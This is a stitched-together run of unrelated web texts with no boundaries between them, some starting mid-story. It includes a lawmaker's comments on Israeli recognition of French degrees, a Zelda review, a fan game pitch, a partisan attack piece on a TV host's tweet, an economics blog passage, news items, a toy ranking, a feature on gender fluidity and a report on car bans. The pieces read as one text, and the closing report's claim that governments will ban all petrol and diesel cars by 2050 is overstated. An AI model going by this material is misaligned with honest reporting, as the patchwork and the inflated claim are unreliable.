As a French lawmaker, it is not his job to encourage immigration to Israel, Habib said. But he considers it his duty to protect some of the 150,000 French people living in Israel who want to work but can’t.
“Today I am convinced that we need to put on pressure. We waited for too long,” said Habib, who is in Israel this week for a conference of the International Council of Jewish Parliamentarians, which is under the auspices of the World Jewish Congress. “French immigrants are very engaged, very Zionist, very attached to Judaism. They love this country, Israel, and we can’t torture them endlessly. At a given point, decisions have to be made.”
In November 2014, the government approved the principle of “diploma recognition facilitation,” agreeing to make life easier for French academics who want to move to Israel. “But at the professional level, especially in the medical fields, many blockages are linked to protectionist attitudes of professional corporations,” Habib charged.
This week, Habib said, he was informed that doctors and dentists who have worked in their professions for 14 years would be allowed to practice immediately after immigrating. “A dentist with three years of experience who wants to make aliyah cannot work here? He’s been given impossibly difficult exams, which only about 5 to 10 percent pass? This is a shame.”
Immigrants from many Western countries have to pass difficult exams before they are allowed to practice medicine, dentistry or similar professions. Habib wants such exams to be abolished entirely.
“French degrees are among the best in the world. Doctors, dentists, nurses, lawyers, certified accountants. I realize that immigrants need a period of readjustment, to learn the language, perhaps to take an internship, but the quality of French diplomas cannot be questioned,” he said. “Either we recognize French degrees, or we don’t recognize them. As of today, Israel doesn’t recognize them. These exams are unfairly difficult. Can you imagine that in some cases university lecturers don’t pass them?”Have you ever played a game that took forever to come out, only to find yourself wondering, "What the hell were they doing for all this time, anyway?"
The Legend of Zelda: Skyward Sword is not one of those games. It has taken Nintendo five years to release a game in this series developed exclusively for Wii, and it delivers in every way possible, including some you wouldn't necessarily expect. The visual design and music are gorgeous, the gameplay varied and well paced, the script humorous. And there's a lot of it. As of this writing I've lost 30 hours to Skyward Sword and I still have more to do. (Wired.com writer John Mix Meyer has put in 40 hours and he's just about finished, but not quite.)
To be fair, these sorts of superlatives might describe any Zelda game. What sets Skyward Sword apart is that its designers have truly rethought the Zelda framework, which has not changed much in the 25 years since the release of the first game. The Zelda series is one of the most oddly ritualized in all of gaming; there is a whole laundry list of things a Zelda game simply must have or else its fans would be utterly scandalized. There's a certain comfort in knowing that every time Link opens a treasure chest, he's going to hold the item above his head with a smile on his face while we all hum along to the familiar dah-dah-dah-DAH musical cue.
Skyward Sword is not the game to slaughter that particular sacred cow, as ridiculous as it sometimes seems when it's dropped into an otherwise deeply serious moment in the story. But in creating the first game in the series designed around motion controls, the developers have taken the opportunity to ask themselves: What is truly necessary to make a game feel like Zelda, and what is just excess baggage left over from 25 years of clinging to tradition?
World in motion
This isn't the first Zelda to make use of motion controls. 2006's Twilight Princess, which launched alongside the Wii, was a GameCube game that had rudimentary motion controls grafted onto it in the final stages of development. Even as an afterthought, they worked well; the game was a solid proof of concept that showed how motion could be integrated into a richer game experience than the Wii Sports mini-games. But what the Wii needed was a game that was designed from the outset to use motion controls. It took Nintendo all of the ensuing five years to finish it, and somewhere along the line it decided that Skyward Sword would require the MotionPlus add-on for more precise controls.
The most immediately obvious way that this affects the new game is in the swordplay. In Twilight Princess, waggling the controller any which way produced the same basic sword strike. In Skyward Sword, your onscreen sword mirrors the position and orientation of your hand, allowing you to slash any which direction or poke your sword forward when a thrust is called for. To power up your blade for a big strike, you hold your Wii Remote above your head. (Shouting "By the power of Grayskull!" when you do this is optional but encouraged.)
You don't encounter as many enemies in Skyward Sword as in previous games, but each enemy fight is more meaningful since you can't just hack and slash your way through them without getting your sword at the ready and making precise cuts.
If there's an issue with the motion control, it's that the implementation of it is straining against the limitations of the technology. Gyroscopes and accelerometers will go out of whack and need to be calibrated. Skyward Sword works around this as best it can: There's a button that will instantly recenter your aim.
Swordfighting is just one part of the story. Link's array of useful items all use MotionPlus in a variety of ways. There's a whip that you can furiously crack at things to swing from them or pull them toward you. But there's also the bug-catching net, which requires you to carefully hold the controller in place as you creep up on an unsuspecting insect and gently but quickly scoop it up. That level of subtlety is an especially thoughtful use of motion controls to create realism; you cannot simply just go around waving the net wildly and expect bugs to fly into it.
Skyward Sword is not an open-world adventure; it is rather linear. But what makes it feel more like a world than a set of levels is that you could be doing anything at once—you might notice bugs crawling near you while you're fighting a reanimated corpse, and as soon as he's dead again you drop what you were doing and set off to fill your pouch with more bugs. This is not the happy coincidence it would be in an open-world game; Skyward Sword was meticulously designed this way by people who had enough time to agonize over the placement of every single bug.
The experience is often serene, almost meditative at times; you'll slowly poke through the forests and deserts and have time to take it all in. But it's not as if the game has a pacing problem, or injected filler to pad out its prodigious length. You'll always feel like you're making real progress toward doing something vital. This is a beautiful world; they want you to luxuriate in it but not get tired of it.
Link to the future
Twilight Princess had everything you could possibly ask for in a Zelda game; Skyward Sword has less and is better for it. You don't have to pause the game to access Link's toolbox and painstakingly select the next item you're going to use—you simply hold the B button to bring up a radial menu, point to the item you want, and let go. Every item is a multifunction tool that you use throughout the game; nothing becomes obsolete as things like the Boomerang would in previous games.
There are save points scattered throughout the adventure, even in the middle of dungeons. This might sound like an obvious improvement, but it will be taken as something approaching heresy by the more traditionalist of Zelda fans. If you die, you can continue at the last save point with all of the items you've found. Nintendo clearly wants players of all skill levels to be able to finish the adventure.
To that end, you can actually customize Link's loadout to suit your play style. You'll always have all of your key items, but your secondary pouch won't hold everything you find. If you want to play defensively, you can load it up with Heart Medals that give you extra hit points, bottles full of reviving potion, etc. If you're confident and just want to go kick ass, you can store extra arrows and bombs in there.
Bug catching and treasure hunting play into this customization angle. The rare objects that you find around the world are used to upgrade your items, strengthening your shield's defense or boosting your mechanical beetle's flight time, for example. You don't have to do any of these things to complete the game, but they are good substantial rewards for going the extra mile and hunting down rare ants (which, again, is amusing in and of itself). If you find yourself with an overabundance of stuff, they're also a great way of raising cash—although you have to figure out on your own how to do that.
Zelda plots are high-stakes, saving the princess and the world from some horrible demon, but Skyward Sword's writing works best when it drills down on the personal lives of the handful of people that inhabit the world. Wandering around the central city of Skyloft will always yield some interesting side story involving the people in the town. It's worth it not just because you know there will be some material reward at the end but because the dialogue is so well written and surprising. There's still no voice acting, but at this point it's a deliberate stylistic choice rather than a cost-cutting measure. (I don't know how long they'll be able to hold out on that, though.)
The most important change is that most everything feels new. The fights against giant boss creatures at the end of each dungeon don't rely on old ideas. The classic characters are replaced, for the most part, with novel ones. If you already know what's going to happen, is that really capturing the spirit of the original Legend of Zelda, in which we all went in blind? Skyward Sword shows that "a real Zelda game" is about more than certain items or certain gameplay rituals, which in the end is more meaningful than adding better sword controls.This game would be styled as a vague cross between Charles Dickens Great Expectations, British Sitcom Only Fools and Horses, Billy Elliot and The Legend of Zelda: Majoras Mask.
Set in Victorian Great Britain, the plotline is that Waluigi lives as an apprentice trader to the conservative libertarian and sleazy businessman Wario. Waluigi falls in love with a rich, beautiful woman, but sinks into a depression due to a lack of belief that a woman as classy as her would ever fall in love with a hapless simpleton such as Waluigi. Waluigis insecurities with regards to his class are the bane of his day to day life. He enjoys ballet and longs to audition for a West End production, but emotional abuse and bullying from Wario and his fellow cronies keep him repressed in his current lifestyle.
By great circumstance, Waluigi befriends a wealthy businessman who offers to send him to London to become both a professional ballerina and a gentleman. In London daily activities proceed similarly to the three day cycle of Majoras Mask. Waluigi has to battle his emotional conflictions and decide between focusing upon his academic work, or instead helping the local populace with their own personal struggles which are a part of a darker, underlying scheme within the city.
All of this occurs while Waluigi must avoid the cronies of the increasingly jealous Wario, who sends members of his crooked organisation to try and prevent Waluigi from becoming a better man.
What do you all think?(Gateway Pundit) – MSNBC’s hate-filled Joy-Ann Reid attacked Sebastian Gorka following his resignation with a ‘Nazi joke’ and the internet responded.
As TGP previously reported, Deputy Assistant to President Trump, Sebastian Gorka, resigned from the White House.
If a conservative white person in the media made a ‘Nazi joke’, or a ‘slave joke’ they would be forced to resign after hell fire and brimstone rained down. Why is it always a different set of rules for liberals like Joy-Ann Reid?
Joy-Ann Reid tweeted out, “When you get fired on vacation and Kelly yanks your temporary security clearance before you can get back.” She then hashtagged “Gorked” and “DidNaziThatComing”.
Of course Ms. Reid has the right to say this, however; where is the liberal mafia asking for her to retract her statement and or be fired? Where’s the ADL? The SPLC?
When you get fired on vacation and Kelly yanks your temporary security clearance before you can get back. #Gorked #DidNaziThatComing pic.twitter.com/IOx8GOC1is — Joy Reid (@JoyAnnReid) August 26, 2017
Trump supporters attacked Joy-Ann Reid:
Wow that is a really bigoted and hateful way to speak about someone. Sad — Tyson Hickey (@TysonAHickey) August 26, 2017
Remember that time you made a Nazi joke? Shame on you — Kelly Smith (@kwallmeow) August 26, 2017
Nice that you put your Anti-Semitic feelings on full display for the world to see. #Racism comes from the left… thanks for proving it! — Bandit (@Getaclue77) August 26, 2017
Wow, your tweet is just totally, completely disgraceful. — Fact Soup (@FactSoup0001) August 26, 2017
You are truly despicable. #jeffreylord was fired for much less. #firejoyreid — Brian Craig (@BrianCraigShow) August 26, 2017
Thank you Joy for proving once again that the left are the real racists — CristaCruz (@cristabcruz) August 26, 2017
Anti-Semite much!
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latter to only the mildest of downturns. Why the difference? One big reason is that losses are easier to bear if they are spread across millions of (mostly unleveraged) people, but cause real trouble if they are concentrated in a few leveraged strategically important institutions.
One reason why non-financial stocks have fallen recently is that investors fear a repeat of 2008 – a fear which is all the greater because banks are so opaque. Yes, the bosses of Deutsche and Credit Suisse claim that they are sound – but nobody believes bosses these days. As Nicholas Taleb said, bankers are “not conservative, just phenomenally skilled at self-deception by burying the possibility of a large, devastating loss under the rug.”
I suspect the CAPM has got things backwards. It says that banks fall a lot when the general market falls because they are, in effect, a geared play upon the general market. But sometimes, the market falls because banks fall.
Which leads me to the case for nationalization. This wouldn’t prevent banks losing money: these are inevitable sometimes because of complexity, bounded rationality and limited knowledge. However, when banks are nationalized, their losses would create only a very minor problem for the public finances as governments borrow money to recapitalize them*. That needn’t generate the fears of a credit crunch or financial crisis that we’ve seen recently. In this sense, nationalization would act as a circuit-breaker, preventing blow-ups at banks from damaging the rest of the economy. (Given that countries are exposed to financial crises overseas, the full benefit of this requires that banks be nationalized in all countries).
You might reply that the same effect could be achieved by demanding that banks were better capitalized, as Anat Admati and Martin Hellwig have argued: calls for 100% reserve banking are to a large extent just an extreme version of this.
However, the former would require massive share issues, which would themselves hurt stock markets. And the transition to the latter – as even its advocates acknowledge - would be complex: in fact, Frances has argued that it would kill off commercial banking. Nationalizing banks would be simpler.
You might object that doing so would impose losses upon shareholders, and the adverse wealth effects would depress demand. I’m not sure. By reducing the chances of future financial crises, the risk premium on non-financial stocks should fall, causing their prices to rise. And to the extent that banks have a positive net present value at all, their transfer to the public sector represents not a loss of wealth but a mere transfer: what bank shareholders lose, the tax-payer gains. The only wealth loss would come if banks are worse-managed in the public sector than they would be in the private – and that’s a low bar. Net, there might well be a positive wealth effect.
My point here is, however, a broader one. One fact illustrates it. During the golden age of social democracy – from 1947 to 1973 – UK real total equity returns averaged 5.1% per year. If we take the fall of the Berlin wall in 1989 as its starting point, they have returned 4.9% per year in the “neoliberal" era. This alerts us to a possibility – that perhaps some social democratic policies are in the interests not just of workers but of shareholders too. Maybe the beneficiaries of neoliberalism are fewer than one might imagine.
* Because losses are most likely to happen when the economy is depressed, such borrowing would be done when demand for gilts is high and borrowing costs low. In fact, in such depressed conditions there might well be a case for quantitative easing, whereby the Bank of England buys the bond issues directly.A Pennsylvania barbershop has been fined $750 for refusing to cut a woman's hair in March.
Barbiere in Washington advertises itself as a high-end gentlemen's barbershop that'strives to keep traditional barbering techniques' and also offers complimentary beers and spirits to its patrons
The barbershop, which has a 'level of comfort and intimacy that is unattainable in any chain salon', was fined by the state's Bureau of Professional and Occupational Affairs for gender discrimination.
Diamond Pecjakr made appointments for herself and her boyfriend but was told the shop just cuts men's hair
High-end Pennsylvania barbershop Barbiere has been fined $750 for refusing to cut a woman's hair
The owner of the business said the fine 'infringes' on his shop's environment, but he does not intend to fight the penalty even though he disagrees with it, according to the Observer-Reporter.
Owner John Interval said: 'Guys come here as a kind of a little getaway, to be around other guys.'
Diamond Pecjakr booked hair appointments online for herself and her boyfriend but was told the shop exclusively does men's haircuts when she asked for a haircut known as a fade.
A female barber at Barbiere, Kerri Wonsettler, said: 'I'm a barber, that is what I specialize in.
'That's why I work here. I don't cut women's hair.'
Interval said his staff recommended other shops and even offered to pay for a haircut for the woman in another salon to compensate for the inconvenience.
A petition in opposition of the board's ruling against Barbiere received nearly 100 signatures.Mattel's DC Universe Classics line was a very big deal. Over the course of 20 waves and numerous exclusives, it introduced hundreds of characters and became an obsession of sorts for collectors like me. A "Top 10" article wouldn't do this line justice, so I've decided to identify the 20 best figures in the line's history.
Although I've allotted 20 slots for figures in this list, I fully recognize that I'm still leaving out a lot of incredible figures. And you're probably going to be outraged that I left off your favorite! But this list was designed to recognize figures that stood out for any of a number of reasons. Was it a good toy? Did it have a significant impact on the line? Was it memorable for some particular reason? Did collectors love it? Those are the kinds of questions that determined which figures made it into my top 20 list.
Also keep in mind that I only pulled from DC Universe Classics proper. That means no DC Superheroes, Public Enemies, Club Infinite Earths, nor any other offshoot line is included for consideration. Without further delay, here are the top 20 DC Universe Classics figures!
20. Deadman
See Deadman in the DASH Catalog
Deadman is a beautiful figure that really showcased how diverse the line's sculpts could get. His lithe frame, distinct collar, and sharply-detailed head sculpt established him as one of the most distinct and attractive figures in the entire line.
19. Aquaman
See Aquaman in the DASH Catalog
This version of Aquaman from the line's second wave was hard to find and became sought after by a number of collectors. His classic look, gorgeous sculpt, and awesome accessory only added to the excitement surrounding him.
18. Iron
See Iron in the DASH Catalog
The Metal Men were one of the most-requested teams from the DC Comics universe, and Mattel finally obliged fans by giving them Iron in Wave 12. The figure was beautiful, actually made of metal in certain parts, and kicked off an effort to complete the team in future waves and releases.
17. Darkseid
See Darkseid in the DASH Catalog
Darkseid is the cosmic super villain in the DC Comics universe, and the previously-released Darkseid figure in the DC Superheroes line from Mattel wasn't big enough or bad enough for picky collectors. So Mattel went back to the drawing board and turned out this amazing Collect & Connect figure that improved on his predecessor in every conceivable way. DC Universe Classics finally got its big bad villain in Wave 12.
16. Metamorpho
See Metamorpho in the DASH Catalog
Marvel Legends perfected the Build a Figure concept, and Mattel opted to follow that strategy with the launch of DC Universe Classics. Metamorpho was the very first Collect & Connect figure in the line, and paved the way for grander future figures. People tend to forget about this figure because of its smaller size, but it was a elemental part of the line's history and a good figure with fantastic accessories to boot.
15. Zatanna
See Zatanna in the DASH Catalog
In an industry often dominated by male figures, Zatanna is one of the most recognizable and enjoyable female figures Mattel offered up across the line's 20 waves. Her sculpt and costume were executed well, and her accessories were perfect. Even Zatanna's fun pose on the card made her one of the best DC Universe Classics purchases to display packaged.
14. Harley Quinn
See Harley Quinn in the DASH Catalog
As the first female figure in DC Universe Classics, Harley Quinn started a great legacy. No one knew what female figures in the line would look like, and she quickly became sought after and beloved. Not only did her femininity support her popularity, she also happened to be a good figure with gender-equal articulation, a wonderful sculpt, and a plethora of accessories.
13. Jonah Hex
See Jonah Hex in the DASH Catalog
In a world of spandex, big muscles, and smiling faces, Jonah Hex totally changed the style and focus of the DC Universe Classics line for at least a single figure. He's undoubtedly one of the most unique and eye-catching figures in the entire line. And though he might not fit into many displays organically, he's simply an outstanding figure.
12. Lobo
See Lobo in the DASH Catalog
Lobo was the first in a long line of San Diego Comic Con exclusives in the line, and still stands out as one of its best overall figures. He's a tad too large for some, but his sculpt quality is completely unmatched, his accessories are hilarious and prolific, and he even included fun extras in the packaging. Lobo remains one of the line's most attractive figures, and created an expectation of excellence in the early eras of DC Universe Classics.
11.Kilowog
See Kilowog in the DASH Catalog
For much of DC Universe Classics' early waves, there weren't any large heroic characters. Kilowog changed that trend in a huge way when he grew to fill collectors' hearts and displays in Wave 11. He's probably a little too big for scale aficionados, but for a line lacking large heroes, he was a welcome major character and display-changer.
10. Chemo
See Chemo in the DASH Catalog
Chemo is the outright biggest and one of the most distinct Collect & Connect figures in the line, making him a fan favorite. No figure alters and completes a DC Universe Classics display like Chemo. The two different chest pieces (bubbled vs. non-bubbled) created a slightly greater demand for certain versions of the figure, and made many collectors proud to call their version superior. This is probably one of the most enjoyable figures the line has to offer for posing and display opportunities, rightfully earning his high spot on the list.
9. The Demon, Etrigan
See The Demon, Etrigan in the DASH Catalog
When Wave 1 of DC Universe Classics began hitting collectors' hands, there was one figure that really stood out: The Demon, Etrigan. He showcased just how detailed and diverse the line could be while maintaining a solid assortment of articulation. In many ways, Etrigan was the line's first great figure and gave collectors confidence that something great was starting.
8. Giganta
See Giganta in the DASH Catalog
Giganta is the rarest piece in any DC Universe Classics collection. Many collectors were unable to track down all the necessary Collect & Connect pieces to construct her, and they're still feeling the burn years later. As a figure she's nothing incredibly special, but as a collectible she tops the entire line.
7. Plastic Man
See Plastic Man in the DASH Catalog
Mattel often goes all out for its San Diego Comic Con exclusives, and that was never emphasized more than with Plastic Man. This figure shows what a focus on fun and accessories can truly accomplish, making it the most playful and imaginative release in the entire line. The things you can do with Plastic Man stretch on seemingly forever. He's also one of the most visually unique and well-designed figures in the entire line.
6. Gentleman Ghost
See Gentleman Ghost in the DASH Catalog
Gentleman Ghost is probably the single most desired DC Universe Classics figure, primarily because he includes the rarest pieces of the Giganta Collect & Connect figure. But Gentleman Ghost also includes an awesome Atom miniature figurine and a couple great accessories of his own. On top of all that, his transparent plastic and "missing head" make him one of the line's most memorable figures.
5. Hawkgirl
See Hawkgirl in DASH Catalog
Hawkgirl is the epitome of female figures in the line. She's stunningly designed and sculpted, features a bunch of fantastic accessories, is loads of fun thanks to her expanding wings and solid articulation, and basically gets everything right. If you want a female action figure from the DC Comics universe, look no further.
4. Deathstroke
See Deathstroke in the DASH Catalog
Deathstroke appeared in a wave with the big-named heavy hitters Green Lantern, Robin, Nightwing, and Sinestro, yet still managed to steal the show. This is an incredible figure with ridiculously awesome accessories and places to store each of them on his person. He's got lots of articulation, a fantastic sculpt that captures the character with accuracy and style, and no matter whether you get the masked or unmasked version, the head sculpt works in unbelievable detail and personality. Mattel really showed what they could accomplish with Deathstroke, and may not have lived up to those expectations since!
3. Blue Beetle
See Blue Beetle in the DASH Catalog
Wave 7's Ted Kord Blue Beetle was a great figure in his own right, but he didn't have nearly the significance of this release. Based on the latest rendition of the character, this figure was the very first to improve the line's articulation model by adding double-hinged knees and elbows. It might not sound like much, but it changed a number of future releases and made this one of the most entertaining and dynamic figures in the entire line's history. Aside from the permanent mark he left on Mattel's DC Comics lines, Blue Beetle was also a stellar figure in his own right.
2. Solomon Grundy
See Solomon Grundy in the DASH Catalog
Wave 3's Collect & Connect figure Solomon Grundy was the first figure in the line to leave fans absolutely breathless. The perfect combination of his size, sculpted detail, and articulation was something of a dream at the time and really rocketed the line into popularity. If figures like this one were in the line's future, any DC Comics fan suddenly had to be a part of it. Solomon Grundy is still the crowning achievement of the Collect & Connect pantheon, and regularly makes himself the centerpiece of any DC Universe Classics display.
1. Hawkman
See Hawkman in the DASH Catalog
Although Hawkman might not have the presence of Solomon Grundy, he captures the essence of DC Universe Classics. He isn't Superman or Batman. He's a mid-level DC Comics character by all rights, but Mattel managed to take him and turn it into something unforgettable. That's the purpose of any great superhero action figure line, to give life and credence in plastic to every character, and Hawkman is the pinnacle of that goal. Hawkman is well made, he's well designed, he's loaded with accessories, he's fun to play with, he's fun to display, and he's the single best representation of one of the action figure world's greatest superhero lines.
Now that you've seen my entire list, I'd love to know what you think. Did someone miss the cut, or did I totally screw up the order? Do you actually agree with my top figures? Please leave a comment below and share your thoughts or even your own list of the top 20 DC Universe Classics figures.Yesterday we featured UC Santa Cruz's new Grateful Dead Archive Online. There you'll find a wealth of materials about the band from their inception in 1965 until their disbandment in 1995. But over the past 17 years, the surviving members of the Dead have pursued all sorts of fascinating projects, musical and otherwise. Mickey Hart, the group's drummer between 1967 and 1971 and again between 1974 to the end, has put out a particularly unusual new album that takes its basic materials from the heavens. As both a musician and musicologist, Hart has established a precedent for such sonic experiments. Crafting his 1989 album Music to Be Born By, he recorded his yet-unborn son's heartbeat within the womb — the most natural of all percussion, you might say — and recorded tracks on top of it. For his latest record, Mysterium Tremendum, he listened not to the core of a human being but as far in the other direction from humanity as possible, collecting and composing with "cosmic sounds" made in outer space.
To make music like this, you need some unusual collaborators. Hart went to NASA, Penn State, and the Lawrence Berkeley National Laboratory, working with scientists like George Smoot, winner of the 2006 Nobel Prize in Physics with John C. Mather. They helped convert light, radio waves, and other electromatic radiation into sound waves that Hart and his band could put to musical use. After getting a sample of the resulting extraterrestrial grooves in the videos above, you might consider listening to this recent interview with Hart on KQED's Forum. Why go to all the trouble of sampling the billons-of-years-old sounds of the infinite universe? Because the Big Bang, Hart thinks, marked the very first beat. "Four words: it's the rhythm, stupid," he explains. "That's what I always say to anyone, and myself as well. It all goes back to that. We are rhythm machines, embedded in a universe of rhythm." Spoken like a true drummer.
Related content:
The Soundtrack of the Universe
UC Santa Cruz Opens a Deadhead’s Delight: The Grateful Dead Archive is Now Online
Colin Marshall hosts and produces Notebook on Cities and Culture. Follow him on Twitter at @colinmarshall.(CNN) For some people, gender is not just about being male or female; in fact, how one identifies can change every day or even every few hours.
Gender fluidity, when gender expression shifts between masculine and feminine, can be displayed in how we dress, express and describe ourselves.
Everyone's gender exists on a spectrum, according to Dot Brauer, director of the LGBTQA Center at the University of Vermont. Progressive gender expression is the norm for the university, which offers gender-neutral bathrooms and allows students to use their preferred names.
"If you imagine the spectrum and imagine the most feminine expression you have ever seen and most masculine you have ever seen and just sort of imagine where you are on that," Brauer said.
Brauer, who identifies as gender-queer and prefers the pronoun "they," said gender identification is about what feels right for the person.
Information is fluid
"In my generation, all the information that came to me was filtered through some very sort of limited perspectives and limiting languages. So for example, if I was going to find out about gender, I was going to find out about it through health class in a curriculum that was set by the Board of Education," Brauer said.
Since millennials grew up with the Internet, members of that generation can easily find information on topics like gender expression, added Brauer, 58.
Lee Luxion
Lee Luxion, who is 26 and also prefers the pronoun "they," might wake up as a man or as a woman, sometimes as both and sometimes as neither.
"How I express it is usually how I dress, how I do my hair. But then my mannerisms change. The way I speak might change a little, too," Luxion said.
Luxion agreed that the Internet, along with the emergence of gender-fluid celebrities such as "Orange Is the New Black's" Ruby Rose, has made millennials more comfortable with expressing their gender.
"There shouldn't be a sense of what's normal and what is not," Luxion said. "And (with) more representation of transgender or gender-fluid or non-binary individuals, the more likely it is that we are going to feel safe to also be that publicly."
There are lots of misconceptions about gender fluidity, according to those in the community. Being gender-fluid doesn't determine a person's sexual preference.
Gender fluidity isn't the equivalent of transgenderism, in which a person's gender identity is different from the one assigned at birth.
Luxion balks at the idea that gender fluidity isn't a valid gender, a refrain they've heard time and again.
"Gender fluidity is much more than saying, 'oh, I want to play up the femininity traits that I have' or that 'I want to play up the masculine traits that I have.' It's an actual physical, mental and, for me, emotional shift in how I interact with the world."
More than just appearance
Theresa "TDo" Do
Theresa "TDo" Do, a 37-year-old San Francisco native, was born and raised female but never felt that way. She appears androgynous with a short haircut and expresses her gender fluidity in how she behaves.
In situations when Do feels challenged, she said, she feels more masculine and expresses herself in that way.
"The tone of my voice does change. It comes a little bit more forward. My voice drops a bit," she said. "I have been told that I walk really masculine, and I puff my chest out when I'm walking."
When she feels like she is in a safer place, she becomes more feminine.
"My voice gets a little higher. I drop my shoulders. I allow people to just get closer to me emotionally and in a physical way," Do said. "For me in particular, when I am in touch with my feminine side, I feel soft."
Brauer said others' perceptions and an individual's interpretation of their own gender play a part in how gender is conveyed.
"There's this constant exchange going on.... Identity is this weird thing that exists between us people. It's like this perception, thought space, between us and other people," they said.
Thomas Webb, 33, identifies as gender-fluid and feels masculine "two-thirds" of the time. Webb's gender-fluid expression alternates from masculine to feminine with how they dress, from suits to skirts.
"When I was in high school, I don't remember words like that ever existing. I didn't learn about the word 'gender-queer' until my early 20s. I was using terms like 'cross-dresser' or 'transvestite' to describe myself, because that was all that I was aware of at the time," they said.
Raising a gender-fluid child
Franki Davis, 14, identifies as gender-fluid demiboy and uses the "they" pronoun.
Demiboy means a person identifies partially as a man.
Franki has bright green hair and an androgynous, neutral appearance. Like any teenager, they like to go to concerts, take pictures and Skype with friends.
Franki discovered their gender identity during adolescence. And when they came out as demiboy, mom Kristen Shaw homeschooled Franki due to the anxiety they faced at school.
"My greatest concern was that they were going to be more isolated and the limited friendships they have socially," Shaw said.
Shaw said she would tell a parent of a child like hers to understand that it's important to let them grow.
"Before our children were born, what was most important was that we proclaimed that all we wanted was a healthy baby. And if we are lucky enough to have that, then we just take it from there. It's a one day at a time process. Our job is to be their life cheerleader and set them up for success," she said.
Opinion and intersectionality
Brauer writes in a paper titled "Gender: It's Complicated" that younger generations see identity through "the lens of intersectionality," which includes age, sex, location, socioeconomic class and other factors.
"I might be perceived as someone who has a female sex to be pretty masculine by the gender standards of femininity that exists" in the mid-Atlantic, Brauer said. "But here, in Vermont, the standards for gender and femininity are different. So, right here I would be seen not overly masculine and not overly feminine."
When Do is in the office, she said, she gets stares from clients when expressing her gender fluidity.
"In a business meeting, I might have to look a little bit harder to earn the respect of others," she said. And when she leaves the "San Francisco bubble," she feels more tension.
Webb, who lives in Southern California, said they haven't felt discriminated against because they stopped publicly wearing women's clothing and dressing androgynously. They said it was easier dressing as a man than a woman.
"People kind of confuse personality and gender. My personality isn't stereotypically feminine. So even when I'm wearing a skirt and everything, people just look at me as a dude in a skirt for better or worse.... I don't think they treat me as they would a lot of the trans or other gender-fluid people who happen to act more feminine," Webb said.
For Luxion, telling someone their gender identity can lead to hurtful responses.
"When I get negative responses or people telling me that my gender is invalid or wrong, it's frustrating and it's hurtful, but really it's making me sad that people still aren't willing to take a step back," Luxion said. "It's not doing anyone harm. So I don't understand why they would be so opposed to it."Photo by Susan Kane
Have you ever walked around the cemeteries of New York reading the old tombstone inscriptions? Well, if that's not your thing, we're here to point you in the direction of George Spencer Millet's grave in Woodlawn Cemetery, which tells a tragic and unusual story. His headstone reads: "Lost life by stab in falling on ink eraser, evading six young women trying to give him birthday kisses in office of Metropolitan Life Building." This happened the day after Valentine's day, on February 15th, 1909—which also happened to be his 15th birthday. And to clarify, an ink eraser is not an eraser, it's more like a knife.
According to a NY Times article (PDF) printed on February 16th of that year, Millet was working as an office boy for the life insurance company. They recount how the incident played out, saying he was "stabbed in the left side, apparently as the result of skylarking in the office, and died in an ambulance on the way to the New York Hospital."
Millet was unable to tell authorities how he got his wound, and later a stenographer at the office was arrested and charged with homicide. There was little evidence, however, and she was eventually just kept as a material witness. The article suggests the whole incident was shrouded in secrecy, with the first policeman noting the evasiveness of those in the office, where at the time Millet was still dying on the floor. However, the general consensus seems to be that this was nothing more than a tragic accident.
Here is some more from the New York Evening Telegram:Pep Guardiola will need to break the bank during the January transfer window if he wants to bring Benfica left-back Alex Grimaldo to Manchester City. O Jogo claims the Portuguese outfit will demand around €45m (£38.6m, $48m) for the Spanish starlet, despite having only signed him from Barcelona last year for €1.5m.
Guardiola is said to be an admirer of Grimaldo, having followed the progress of the Spain U21 international during his tenure at the Nou Camp. The full-back was, at the time, considered a long-term replacement for Jordi Alba, having established himself in Barcelona's B-team aged just 17.
But having failed to break into the first team, the Spaniard moved to Benfica in last January's transfer window.
Barcelona pocketed just €1.5m for his signature, but retained the right to a share of any future sale.
The La Liga giants confirmed at the time: "FC Barcelona and SL Benfica have reached an agreement for the transfer of Alejandro Grimaldo for €1.5m. Barça also retain the right to a share of any future sale by the Portuguese club of the player who was until now the captain of Gerard López's Barça B team."
It looks as though that move may come sooner rather than later, with Guardiola reportedly identifying him as a priority for the January mercato.
Speculation began in September when Diario Record and A Bola both reported that the City boss had travelled to Portugal to watch Grimaldo in action during a game against Braga.
O Jogo now backs up those claims, adding that Guardiola would like to lure the player to the Etihad Stadium in the coming transfer window as both Aleksandar Kolarov and Gaël Clichy are the wrong side of 30.
The Portuguese publication reports that Benfica are ready to play ball should a significant offer arrive. However, with his release clause set at €60m, the report claims that they would accept nothing less than €45m to cash-in on the youngster.
The former Barcelona starlet has showcased his talent during an impressive start to the season with Benfica, scoring two goals and providing 4 assists in 13 appearances.In Cars, Hybrids, EVs and Alternative Fuel, International News / By Chris Aaron / 9 December 2015 9:41 am / 33 comments
Up to 13 European and North American governments have announced that they will introduce a ban on all petrol and diesel-powered vehicles by year 2050. The news has been widely reported following the ongoing United Nations Climate Change Conference in Paris.
As part of an ambitious strategy to prevent negative climate change and promote green mobility, a zero-emissions alliance was formed earlier in August 2015. It aimed to speed-up acceptance and adoption of zero-emissions vehicles (ZEV) around the world – particularly battery-electric and fuel-cell vehicles.
The international alliance consists of countries such as Germany, the Netherlands, Norway and the United Kingdom. From the US, several states have individually signed up for the cause. These include, California, Connecticut, Maryland, Massachusetts, New York, Oregon, Rhode Island and Vermont. Canada’s Quebec is also involved.
All of these listed countries and states have agreed to enforce a new law that would ban all petrol and diesel-powered vehicles by year 2050. According to NGT News, a full ban on these vehicles would reduce “more than 1 billion tonnes of CO2 emissions per year, lowering global vehicles emissions by 40%.”
